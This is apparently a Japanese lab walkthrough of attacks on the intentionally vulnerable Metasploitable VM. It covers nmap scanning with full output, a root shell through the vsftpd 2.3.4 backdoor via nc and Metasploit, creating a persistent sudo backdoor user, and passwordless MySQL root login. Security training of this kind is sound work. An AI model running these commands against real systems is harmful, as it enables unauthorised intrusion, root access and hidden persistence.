Metasploitable への各種攻撃
nmap でポートスキャン
nmap には様々なオプションがあり
概要やオプションに関しては
Nampスキャンの全コマンド・オプションを日本語解説|ネットワークのセキュリティーはNmapで抑えよう
を参考に
ポートスキャンせず Ping スキャンするなら
-sP や -sn オプションを使う
純粋に Ping スキャンするなら
-sn にしないと他に飛ばしているパケットの説明を求められる
これは-sP だとIMCPだけでなく
80,443 ポートにもおくるため
実験するならMetasploitable のIPを
ifconfig
で調べて
KaliLinux から
nmap -sn 192.168.1.137
とすればOK
Metasploitable でキャプチャになっているときには
右ctrl キーをおせば抜けられる
次にMetasploitable の開いているポート、サービスバージョン
OSの種類を調べる
-p-
全ポートのスキャン
ただし0番ポートと9100 は除く
-sV
サービスとバージョンの特定
-O
OSの特定
ただしバージョンまでは特定しない
これを Metasploitable に実行
nmap -sV -O -p- 192.168.1.137
結果は
Nmap scan report for 192.168.1.137
Host is up (0.00039s latency).
Not shown: 65505 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec?
513/tcp open login
514/tcp open shell?
1099/tcp open rmiregistry GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
34001/tcp open status 1 (RPC #100024)
38465/tcp open mountd 1-3 (RPC #100005)
43648/tcp open nlockmgr 1-4 (RPC #100021)
53119/tcp open rmiregistry GNU Classpath grmiregistry
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port514-TCP:V=7.70%I=7%D=2/8%Time=5E3DD53C%P=x86_64-pc-linux-gnu%r(NULL
SF:,2B,"\x01Couldn't\x20get\x20address\x20for\x20your\x20host\x20\(kali\)\
SF:n");
MAC Address: 08:00:27:55:20:B9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 128.06 seconds
となった
この中で攻撃に使われそうなのは
21/tcp open ftp vsftpd 2.3.4
1524/tcp open bindshell Metasploitable root shell
5900/tcp open vnc VNC (protocol 3.3)
まず vsftp2.3.4 向け Exploit を探す
CVE Details
Exploit Database
などで調べることもできる
他にも
セキュリティエンジニア向けマテリアル
なども参考に
今回は Exploit Database で
検索
これによるとリモートからコマンド実行できるバックドアがあるとのこと
🙂 を含むユーザ名でFTPへログインすると
6200ポートにバックドアが開く
この状態で 6200 ポートにアクセスすることで
vsftpd の実行権限で任意のコマンドが実行できる
nc 192.168.1.137 21
というように
nc コマンドで Metasploitable のIPアドレス ポート番号
でアクセス
USER 任意のユーザ名
ユーザ名の最後に 🙂 をつける
PASS 任意のパスワード
とするとポートが開く
この状態で
別端末を
ctrl + alt + t で開き
nc -nv 192.168.1.137 6200
で接続
nc コマンドとオプションについては
使いたいときに必ず忘れる便利なコマンド「nc」
を参考に
これで
whoami コマンドで確認すると
root ユーザになっているのがわかる
whoami コマンドについては
【 whoami 】コマンド/【 groups 】コマンド――自分の名前と所属するグループを表示する
を参考に
また exploit のvsftpd_234_backdoor.rbのコードが
https://www.exploit-db.com/exploits/17491
にあり
sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
でランダムなユーザ名のあとに 🙂 を
sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
でパスワードの指定
としている
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
で6200ポートに接続できるか確認
実際に Metasploitable へ攻撃をするには
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set rhost 192.168.1.137
exploit
で実行
なお
192.168.1.137 の部分は
Metasploitable のIPアドレス
プロンプトが帰ってこないけど
コマンドの実行はできる
whoami
とすると root であることがわかる
これで
useradd -m newuser -G sudo -s /bin/bash; passwd newuser
とするとバックドア用ユーザが作成でき
Enter new UNIX password:
となったら任意のパスワードをいれ
Retype new UNIX password:
となるので同じパスワードを入力する
このシェルから抜けるには
exit
を実行すればOK
msfコンソールからも抜けるのなら
exit
を再度実行すればOK
これで Metasploitable でログインするときに
newuser でのログインが可能になる
次にDBへのアクセス
Metasploitable のポート3306 が 開いているので
mysql での接続ができる
なおデフォルトでは root パスワードが設定されていないため
mysql -h 192.168.1.137 -u root
で簡単にログインできる
show databases
でDB一覧がみれる
+--------------------+
| Database |
+--------------------+
| information_schema |
| dvwa |
| metasploit |
| mysql |
| owasp10 |
| tikiwiki |
| tikiwiki195 |
+--------------------+
パスワードの状態を確認するには
[mysql]
use mysql;
select user,password from user;
[/sql]
を実行
結果として
+------------------+----------+
| user | password |
+------------------+----------+
| debian-sys-maint | |
| root | |
| guest | |
+------------------+----------+
となっているのがわかる